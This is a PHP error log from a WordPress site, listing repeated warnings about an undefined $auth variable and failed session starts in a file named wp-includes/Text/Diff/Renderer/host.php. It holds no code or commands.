[09-Jun-2026 01:19:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 613
[09-Jun-2026 01:19:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 613
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 871
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 872
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 873
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 874
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 875
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[09-Jun-2026 01:19:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 876
[09-Jun-2026 01:19:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[09-Jun-2026 01:19:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 542
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:27 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 03:40:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 05:39:56 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 05:39:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:24 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:26 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:30 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:31 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:33 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:36 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:37 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:38 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:40 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 937
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:46 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:46 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:47 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:34:50 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
